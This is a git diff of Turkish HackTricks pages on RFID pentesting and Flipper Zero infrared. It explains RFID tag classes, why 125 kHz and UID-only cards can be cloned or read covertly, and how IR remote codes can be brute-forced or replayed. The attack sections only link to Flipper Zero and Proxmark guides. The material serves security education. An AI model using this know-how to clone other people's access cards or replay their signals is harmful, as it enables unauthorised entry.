@ -1,80 +1,95 @@
# RFID Pentest
# Pentesting RFID
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Giriş
**Radyo Frekansı Tanımlama (RFID)** en popüler kısa menzilli radyo çözümüdür. Genellikle bir varlığı tanımlayan bilgileri depolamak ve iletmek için kullanılır.
**Radyo Frekansı Tanımlama (RFID)**, en popüler kısa menzilli radyo çözümüdür. Genellikle bir varlığı tanımlayan bilgileri depolamak ve iletmek için kullanılır.
Bir RFID etiketi, **kendi güç kaynağına (aktif)**, örneğin gömülü bir pil, veya **alınan radyo dalgalarından indüklenen akımı** kullanarak okuma anteninden güç alabilir (**pasif**).
Bir RFID etiketi, **kendi güç kaynağına (aktif)** sahip olabilir, örneğin gömülü bir pil, ya da okuma anteninden alınan **radyo dalgalarından indüklenen akımı** kullanarak güç alabilir (**pasif**).
### Sınıflar
EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir etiket, önceki kategoride listelenen tüm yeteneklere sahiptir, bu da geriye dönük uyumluluğu sağlar.
EPCglobal, RFID etiketlerini altı kategoriye ayırır. Her kategorideki bir etiket, bir önceki kategoride listelenen tüm yeteneklere sahiptir, bu da geriye dönük uyumluluk sağlar.
* **Sınıf 0** etiketler, **UHF** bantlarında çalışan **pasif** etiketlerdir. Üretim fabrikasında satıcı tarafından **önceden programlanır**. Sonuç olarak, bellekte depolanan bilgileri **değiştiremezsiniz**.
* **Sınıf 1** etiketler ayrıca **HF** bantlarında da çalışabilir. Üretimden sonra sadece bir kez **yazılabilir**. Birçok Sınıf 1 etiket, aldıkları komutların **döngüsel tekrarlı kontrol toplamı** (CRC) işleyebilir. CRC'ler, hata tespiti için komutların sonunda birkaç ekstra bayttır.
* **Sınıf 2** etiketler birden çok kez **yazılabilir**.
* **Sınıf 3** etiketler, etiketin hareketi gibi çevresel parametreleri kaydedebilen **gömülü sensörler** içerebilir. Bu etiketler, entegre bir **pil** gibi bir gömülü güç kaynağına sahip olmalarına rağmen, diğer etiketler veya okuyucularla kablosuz **iletişim başlatamazlar**, bu yüzden **yarı pasif** olarak kabul edilirler.
* **Sınıf 4** etiketler, aynı sınıftaki diğer etiketlerle iletişim başlatabilir, bu da onları **aktif etiketler** yapar.
* **Sınıf 5** etiketler, diğer tüm önceki etiket sınıflarıyla **iletişim kurabilir ve diğer etiketlere güç sağlayabilir**. Sınıf 5 etiketler, **RFID okuyucuları** olarak hareket edebilir.
* **Sınıf 0** etiketleri, **UHF** bantlarında çalışan **pasif** etiketlerdir. Üretim fabrikasında **önceden programlanmışlardır**. Sonuç olarak, belleğinde depolanan bilgileri **değiştiremezsiniz**.
* **Sınıf 1** etiketleri de **HF** bantlarında çalışabilir. Ayrıca, üretimden sonra **sadece bir kez yazılabilirler**. Birçok Sınıf 1 etiketi, aldıkları komutların **döngüsel redundans kontrollerini** (CRC) işleyebilir. CRC'ler, hata tespiti için komutların sonunda birkaç ek bayttır.
* **Sınıf 2** etiketleri **birden fazla kez yazılabilir**.
* **Sınıf 3** etiketleri, mevcut sıcaklık veya etiketin hareketi gibi çevresel parametreleri kaydedebilen **gömülü sensörler** içerebilir. Bu etiketler **yarı-pasif**'dir, çünkü gömülü bir güç kaynağına sahip olmalarına rağmen, diğer etiketler veya okuyucularla kablosuz **iletişim başlatamazlar**.
* **Sınıf 4** etiketleri, aynı sınıftaki diğer etiketlerle iletişim başlatabilir, bu da onları **aktif etiketler** yapar.
* **Sınıf 5** etiketleri, **diğer etiketlere güç sağlayabilir ve önceki tüm etiket** sınıflarıyla iletişim kurabilir. Sınıf 5 etiketleri **RFID okuyucuları** olarak işlev görebilir.
### RFID Etiketlerinde Depolanan Bilgiler
Bir RFID etiketinin belleği genellikle dört tür veri depolar: etikete bağlı olan **tanımlama verileri** (bu veriler banka hesapları gibi kullanıcı tanımlı alanları içerir); varlığa ilişkin **daha fazla ayrıntı** sağlayan **ek veriler**; etiketin iç **yapılandırması** için kullanılan **kontrol verileri**; ve etiketin **üretimi**, **türü** ve **satıcısı** hakkında bilgiler içeren etiketin **üretici verileri**. İlk iki veri türünü tüm ticari etiketlerde bulabilirsiniz; son iki veri, etiketin satıcısına bağlı olarak farklılık gösterebilir.
Bir RFID etiketinin belleği genellikle dört tür veri depolar: **kimlik verileri**, etiketin bağlı olduğu **varlığı** **tanımlayan** veriler (bu veriler, kullanıcı tanımlı alanlar, örneğin banka hesapları içerir); **tamamlayıcı veriler**, varlıkla ilgili **daha fazla** **detay** sağlayan veriler; etiketin iç **konfigürasyonu** için kullanılan **kontrol verileri**; ve etiketin **üretici verileri**, bir etiketin Benzersiz Tanımlayıcısını (**UID**) ve etiketin **üretimi**, **tipi** ve **satıcısı** ile ilgili detayları içerir. İlk iki tür veri tüm ticari etiketlerde bulunur; son iki tür, etiketin satıcısına bağlı olarak farklılık gösterebilir.
ISO standardı, etiketin hangi **nesne türüne** ait olduğunu belirten bir kod olan **Uygulama Ailesi Tanımlayıcısı (AFI)** değerini belirtir. ISO tarafından belirtilen başka bir önemli kayıt ise **Veri Depolama Formatı Tanımlayıcısı (DSFID)**'dir ve bu, kullanıcı verilerinin **mantıksal düzenini** tanımlar.
ISO standardı, etiketin ait olduğu **nesne türünü** belirten bir kod olan Uygulama Aile Tanımlayıcısı (**AFI**) değerini belirtir. ISO tarafından belirtilen bir diğer önemli kayıt ise, kullanıcı verilerinin **mantıksal organizasyonunu** tanımlayan Veri Depolama Formatı Tanımlayıcısı (**DSFID**)dır.
Çoğu RFID **güvenlik kontrolleri**, her kullanıcı bellek bloğunda ve AFI ve DSFID değerlerini içeren özel kayıtlarda **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol bellekte depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan parolaları** kullanır, ancak etiket sahiplerinin **özel parolaları yapılandırmasına** izin verir.
Çoğu RFID **güvenlik kontrolü**, her kullanıcı bellek bloğundaki ve AFI ve DSFID değerlerini içeren özel kayıtlardaki **okuma** veya **yazma** işlemlerini **kısıtlayan** mekanizmalara sahiptir. Bu **kilit** **mekanizmaları**, kontrol belleğinde depolanan verileri kullanır ve satıcı tarafından önceden yapılandırılmış **varsayılan şifreler** içerir, ancak etiket sahiplerinin **özel şifreler yapılandırmasına** izin verir.
### Düşük ve Yüksek Frekanslı Etiket Karşılaştırması
### Düşük ve Yüksek Frekanslı Etiketlerin Karşılaştırması
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Düşük Frekanslı RFID Etiketler (125kHz)
## Düşük Frekanslı RFID Etiketleri (125kHz)
**Düşük frekanslı etiketler**, yüksek güvenlik gerektirmeyen sistemlerde sıklıkla kullanılır: bina erişimi, interkom anahtarları, spor salonu üyelik kartları vb. Daha yüksek menzilleri nedeniyle, ücretli otopark için kullanmak pratiktir: sürücü kartı okuyucuya yakın getirmek zorunda kalmaz, çünkü daha uzaktan tetiklenir. Aynı zamanda, düşük frekanslı etiketler çok basittir, veri transfer hızları düşüktür. Bu nedenle, bakiye tutma ve şifreleme gibi karmaşık iki yönlü veri transferini uygulamak imkansızdır. Düşük frekanslı etiketler yalnızca kimlik doğrulama yöntemleri olmadan kısa kimliklerini iletebilir.
**Düşük frekanslı etiketler**, genellikle **yüksek güvenlik** gerektirmeyen sistemlerde kullanılır: bina erişimi, interkom anahtarları, spor salonu üyelik kartları vb. Daha yüksek menzil nedeniyle, ücretli otoparklar için kullanımı uygundur: sürücünün kartı okuyucuya yakın getirmesi gerekmez, çünkü daha uzaktan tetiklenir. Aynı zamanda, düşük frekanslı etiketler çok ilkel olup, düşük veri transfer hızına sahiptir. Bu nedenle, bakiye tutma ve kriptografi gibi karmaşık iki yönlü veri transferi uygulamak imkansızdır. Düşük frekanslı etiketler yalnızca kısa kimliklerini iletir, herhangi bir kimlik doğrulama aracı olmadan.
Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve genellikle **30 kHz ila 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ila 134 kHz kullanılır:
Bu cihazlar, **pasif** **RFID** teknolojisine dayanır ve **30 kHz ile 300 kHz** aralığında çalışır, ancak genellikle 125 kHz ile 134 kHz kullanılır:
* **Uzun Menzil** — düşük frekans, daha uzun menzile dönüşür. Bir metreye kadar mesafeden çalışan bazı EM-Marin ve HID okuyucuları vardır. Bunlar genellikle otoparklarda kullanılır.
* **Basit protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veri kimlik doğrulanmaz ve herhangi bir şekilde korunmaz. Kart okuyucunun menziline girdiği anda kimlik bilgilerini iletmeye başlar.
* **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün basitliği nedeniyle başkasının cebinden okunabilir.
* **Uzun Menzil** — daha düşük frekans, daha yüksek menzil anlamına gelir. Bir metreye kadar mesafeden çalışan bazı EM-Marin ve HID okuyucular vardır. Bunlar genellikle otoparklarda kullanılır.
* **İlkel protokol** — düşük veri transfer hızı nedeniyle bu etiketler yalnızca kısa kimliklerini iletebilir. Çoğu durumda, veriler kimlik doğrulamasına tabi değildir ve herhangi bir şekilde korunmaz. Kart okuyucunun menzilindeyken, sadece kimliğini iletmeye başlar.
* **Düşük güvenlik** — Bu kartlar kolayca kopyalanabilir veya protokolün ilkel olması nedeniyle başkalarının cebinden bile okunabilir.
**Popüler 125 kHz protokolleri:**
* **EM-Marin** — EM4100, EM4102. CIS'teki en popüler protokol. Basitliği ve kararlılığı nedeniyle bir metreye kadar okunabilir.
* **HID Prox II** — HID Global tarafından tanıtılan düşük frekanslı protokol. Bu protokol batı ülkelerinde daha popülerdir. Daha karmaşıktır ve bu prot
* **EM-Marin** — EM4100, EM4102. CIS'teki en popüler protokol. Basitliği ve kararlılığı nedeniyle yaklaşık bir metreden okunabilir.
* **HID Prox II** — HID Global tarafından tanıtılan düşük frekanslı protokol. Bu protokol, batı ülkelerinde daha popülerdir. Daha karmaşık olup, bu protokol için kartlar ve okuyucular nispeten pahalıdır.
* **Indala** — Motorola tarafından tanıtılan çok eski bir düşük frekanslı protokol ve daha sonra HID tarafından satın alındı. Önceki iki protokole kıyasla, kullanım dışı kalması nedeniyle doğada daha az karşılaşma olasılığınız vardır.
Gerçekte, çok daha fazla düşük frekanslı protokol vardır. Ancak hepsi fiziksel katmanda aynı modülasyonu kullanır ve bir şekilde yukarıda listelenenlerin bir varyasyonu olarak kabul edilebilir.
### Saldırı
Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Yüksek Frekanslı RFID Etiketleri (13.56 MHz)
**Yüksek frekanslı etiketler**, şifreleme, büyük iki yönlü veri transferi, kimlik doğrulama vb. gerektiğinde daha karmaşık bir okuyucu-etiket etkileşimi için kullanılır.\
**Yüksek frekanslı etiketler**, kriptografi, büyük iki yönlü veri transferi, kimlik doğrulama vb. gerektiğinde daha karmaşık bir okuyucu-etiket etkileşimi için kullanılır.\
Genellikle banka kartlarında, toplu taşıma araçlarında ve diğer güvenli geçişlerde bulunur.
**Yüksek frekanslı 13.56 MHz etiketler**, bir dizi standart ve protokol olarak kullanılır. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443 olarak adlandırılır. Yüksek seviye protokoller ve ISO 19092 gibi alternatif standartlar da buna dayanır. Birçok insan bu teknolojiyi, 13.56 MHz frekansında çalışan cihazlar için bir terim olan **Yakın Alan İletişimi (NFC)** olarak adlandırır.
**Yüksek frekanslı 13.56 MHz etiketleri, bir dizi standart ve protokoldür**. Genellikle [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) olarak adlandırılır, ancak bu her zaman doğru değildir. Fiziksel ve mantıksal seviyelerde kullanılan temel protokol seti ISO 14443'tür. Yüksek seviyeli protokoller ve alternatif standartlar (ISO 19092 gibi) buna dayanmaktadır. Birçok kişi bu teknolojiyi **Yakın Alan İletişimi (NFC)** olarak adlandırır, bu terim 13.56 MHz frekansında çalışan cihazlar için kullanılır.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Basitçe söylemek gerekirse, NFC'nin mimarisi şu şekilde çalışır: kartları üreten şirket, iletişim protokolünü seçer ve düşük seviyeli ISO 14443'e dayanarak uygular. Örneğin, NXP kendi yüksek seviye iletişim protokolünü Mifare olarak adlandırır. Ancak alt seviyede Mifare kartları ISO 14443-A standardına dayanır.
Basitçe ifade etmek gerekirse, NFC'nin mimarisi şöyle çalışır: iletim protokolü, kartları üreten şirket tarafından seçilir ve düşük seviyeli ISO 14443'e dayalı olarak uygulanır. Örneğin, NXP kendi yüksek seviyeli iletim protokolü olan Mifare'yi icat etmiştir. Ancak daha düşük seviyede, Mifare kartları ISO 14443-A standardına dayanmaktadır.
Flipper hem düşük seviye ISO 14443 protokolüyle, hem de banka kartlarında kullanılan Mifare Ultralight veri transfer protokolü ve EMV ile etkileşimde bulunabilir. Mifare Classic ve NFC NDEF desteği eklemek üzerinde çalışıyoruz. NFC'yi oluşturan protokol ve standartlara ayrı bir makalede daha detaylı bakmak, ileride yayınlamayı planladığımız bir konudur.
Flipper, hem düşük seviyeli ISO 14443 protokolü ile hem de Mifare Ultralight veri transfer protokolü ve banka kartlarında kullanılan EMV ile etkileşimde bulunabilir. Mifare Classic ve NFC NDEF desteği eklemek için çalışıyoruz. NFC'yi oluşturan protokoller ve standartlar üzerine kapsamlı bir inceleme, daha sonra yayınlamayı planladığımız ayrı bir makaleyi gerektirir.
ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar benzersiz bir çip kimliğine sahiptir. Bu, bir ağ kartının MAC adresi gibi kartın seri numarası olarak işlev görür. **UID genellikle 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10 bayta kadar** çıkabilir. UID'ler gizli değildir ve kolayca okunabilir, **bazen kartın üzerine bile basılır**.
ISO 14443-A standardına dayanan tüm yüksek frekanslı kartlar, benzersiz bir çip kimliğine sahiptir. Bu, kartın seri numarası gibi işlev görür, bir ağ kartının MAC adresi gibidir. **Genellikle, UID 4 veya 7 bayt uzunluğundadır**, ancak nadiren **10 bayta kadar** çıkabilir. UID'ler gizli değildir ve kolayca okunabilir, **bazen hatta kartın kendisinde basılıdır**.
UID'ye dayanan birçok erişim kontrol sistemi, kimlik doğrulama ve erişim sağlamak için kullanılır. Bazen bu, RFID etiketlerinin **şifreleme**yi desteklemesine rağmen **gerçekleşir**. Bu tür **yanlış kullanım**, güvenlik açısından aptal **125 kHz kartlarının** seviyesine indirir. Sanal kartlar (örneğin Apple Pay), telefon sahiplerinin ödeme uygulamasıyla kapıları açmaması için dinamik bir UID kullanır.
UID'ye dayanan birçok erişim kontrol sistemi, **kimlik doğrulama ve erişim verme** işlemlerine dayanır. Bazen bu, RFID etiketleri **kriptografi desteklese bile** gerçekleşir. Böyle bir **kötüye kullanım**, güvenlik açısından onları aptal **125 kHz kartları** seviyesine düşürür. Sanal kartlar (Apple Pay gibi), telefon sahiplerinin ödeme uygulamalarıyla kapıları açmamaları için dinamik bir UID kullanır.
* **Düşük menzil** - yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmeleri gereken şekilde özel olarak tasarlanmıştır. Bu aynı zamanda kartı yetkisiz etkileşimlerden korumaya yardımcı olur. Başardığımız maksimum okuma mesafesi yaklaşık 15 cm idi ve bu özel olarak yapılmış yüksek menzilli okuyucularla gerçekleştirildi.
* **Gelişmiş protokoller** - 424 kbps'ye kadar veri transfer hızları, tam teşekküllü iki yönlü veri transferi ile karmaşık protokollere olanak sağlar. Bu da **şifreleme**, veri transferi vb. gibi işlemlere olanak tanır.
* **Yüksek güvenlik** - yüksek frekanslı temasız kartlar, akıllı kartlardan hiçbir şekilde geri kalmaz. AES gibi şifreleme gücü yüksek algoritmalara destek veren ve asimetrik şifrelemeyi uygulayan kartlar bulunmaktadır.
* **Düşük menzil** — yüksek frekanslı kartlar, okuyucuya yakın yerleştirilmesi için özel olarak tasarlanmıştır. Bu, kartı yetkisiz etkileşimlerden korumaya da yardımcı olur. Elde ettiğimiz maksimum okuma menzili yaklaşık 15 cm'dir ve bu, özel yapım yüksek menzil okuyucularla olmuştur.
* **Gelişmiş protokoller** — veri transfer hızları 424 kbps'ye kadar çıkabilir, bu da tam teşekküllü iki yönlü veri transferine olanak tanır. Bu da **kriptografi**, veri transferi vb. sağlar.
* **Yüksek güvenlik** — yüksek frekanslı temassız kartlar, akıllı kartlarla kıyaslandığında hiçbir şekilde geri kalmaz. AES gibi kriptografik olarak güçlü algoritmaları destekleyen ve asimetrik kriptografi uygulayan kartlar vardır.
### Saldırı
@ -84,7 +99,7 @@ Bu Etiketlere **Flipper Zero ile saldırabilirsiniz**:
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
Veya **proxmark** kullanarak:
Ya da **proxmark** kullanarak:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
@ -94,14 +109,17 @@ Veya **proxmark** kullanarak:
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u** takip edin.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,48 +1,66 @@
# FZ - Kızılötesi
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) **kontrol edin!**
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks deposuna** [**PR gönderin**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud deposuna**](https://github.com/carlospolop/hacktricks-cloud).
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Giriş <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Kızılötesinin nasıl çalıştığı hakkında daha fazla bilgi için şu adrese bakın:
Kızılötesinin nasıl çalıştığı hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="../infrared.md" %}
[infrared.md](../infrared.md)
{% endcontent-ref %}
## Flipper Zero'da Kızılötesi Sinyal Alıcısı <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## Flipper Zero'daki IR Sinyal Alıcısı <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Flipper, IR sinyal alıcısı TSOP kullanır, bu da **IR uzaktan kumandaların sinyallerini yakalamayı** mümkün kılar. Xiaomi gibi **bazı akıllı telefonlar** da bir IR bağlantı noktasına sahip olabilir, ancak **çoğu yalnızca sinyal iletebilir** ve **alabilir**.
Flipper, IR uzaktan kumandalardan sinyalleri **yakalamayı** sağlayan dijital bir IR sinyal alıcısı TSOP kullanır. Xiaomi gibi bazı **akıllı telefonlar** da IR portuna sahiptir, ancak **çoğu yalnızca** sinyal **gönderebilir** ve **almaktan acizdir**.
Flipper'ın kızılötesi **alıcısı oldukça hassastır**. TV'nin yanında dururken ve hem siz hem de Flipper biraz uzaktaysanız bile sinyali **yakalayabilirsiniz**. Kumandayı doğrudan Flipper'ın IR bağlantı noktasına yönlendirmek gereksizdir. Bu, birisi TV'nin yanında kanalları değiştirirken ve hem siz hem de Flipper biraz uzakta olduğunuzda işe yarar.
Flipper'ın kızılötesi **alıcı oldukça hassastır**. Uzaktan kumanda ile TV arasında **bir yerde** kalırken bile **sinyali yakalayabilirsiniz**. Uzaktan kumandayı doğrudan Flipper'ın IR portuna doğrultmak gereksizdir. Bu, birinin TV'nin yanında dururken kanalları değiştirmesi durumunda işe yarar ve hem siz hem de Flipper bir mesafede olursunuz.
Kızılötesi sinyalin **çözümlenmesi yazılım** tarafında gerçekleştiği için, Flipper Zero potansiyel olarak **herhangi bir IR uzaktan kumanda kodunu almayı ve iletmeyi** destekler. **Tanınmayan** protokoller durumunda - **alınan gibi doğru bir şekilde kaydeder ve geri oynatır**.
**Kızılötesi** sinyalin **çözülmesi** yazılım tarafında gerçekleştiğinden, Flipper Zero potansiyel olarak **herhangi bir IR uzaktan kumanda kodunun** alımını ve iletimini destekler. Tanınamayan **protokoller** durumunda - **ham sinyali** tam olarak alındığı gibi **kaydedip tekrar oynatır**.
## Eylemler
### Evrensel Kumandalar
### Evrensel Uzaktan Kumandalar
Flipper Zero, herhangi bir TV, klima veya medya merkezini kontrol etmek için bir **evrensel kumanda** olarak kullanılabilir. Bu modda, Flipper, SD karttaki sözlükten tüm desteklenen üreticilerin **tüm bilinen kodlarını** **brute force** eder. Bir restoran TV'sini kapatmak için belirli bir kumandayı seçmenize gerek yok.
Flipper Zero, herhangi bir TV, klima veya medya merkeziyi kontrol etmek için **evrensel bir uzaktan kumanda** olarak kullanılabilir. Bu modda, Flipper **SD karttan gelen sözlüğe** göre tüm desteklenen üreticilerin **bilinen kodlarını** **brute force** yapar. Bir restoran TV'sini kapatmak için belirli bir uzaktan kumanda seçmenize gerek yoktur.
Evrensel Kumanda modunda güç düğmesine basmak yeterlidir ve Flipper, bildiği tüm TV'lerin "Kapat" komutlarını sırayla gönderecektir: Sony, Samsung, Panasonic... ve benzeri. TV sinyali aldığında tepki verecek ve kapanacaktır.
Evrensel Uzaktan Kumanda modunda güç düğmesine basmak yeterlidir ve Flipper, bildiği tüm TV'lerin "Gücü Kapat" komutlarını **sırasıyla gönderecektir**: Sony, Samsung, Panasonic... ve devam eder. TV sinyalini aldığında, tepki verecek ve kapanacaktır.
Bu tür brute-force zaman alır. Sözlük ne kadar büyükse, bitirmesi o kadar uzun sürer. TV'nin hangi sinyali tam olarak tanıdığını öğrenmek imkansızdır çünkü TV'den geri bildirim yoktur.
Bu tür bir brute-force zaman alır. Sözlük ne kadar büyükse, tamamlanması o kadar uzun sürer. TV'nin tam olarak hangi sinyali tanıdığını öğrenmek imkansızdır çünkü TV'den geri bildirim yoktur.
### Yeni Kumandaları Öğrenme
### Yeni Uzaktan Kumanda Öğren
Flipper Zero ile bir kızılötesi sinyal **yakalanabilir**. Eğer Flipper, sinyali **veritabanında bulursa**, otomatik olarak **bu cihazın hangisi olduğunu bilecek** ve sizinle etkileşime girmenize izin verecektir.\
Bulamazsa, Flipper sinyali **kaydedebilir** ve size **yeniden oynatma** olanağı sağlar.
Flipper Zero ile **kızılötesi bir sinyali** **yakalamak** mümkündür. Eğer **veritabanında sinyali bulursa**, Flipper otomatik olarak **bu cihazın ne olduğunu bilecektir** ve sizin onunla etkileşimde bulunmanıza izin verecektir.\
Eğer bulamazsa, Flipper **sinyali saklayabilir** ve **tekrar oynatmanıza** izin verecektir.
## Referanslar
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
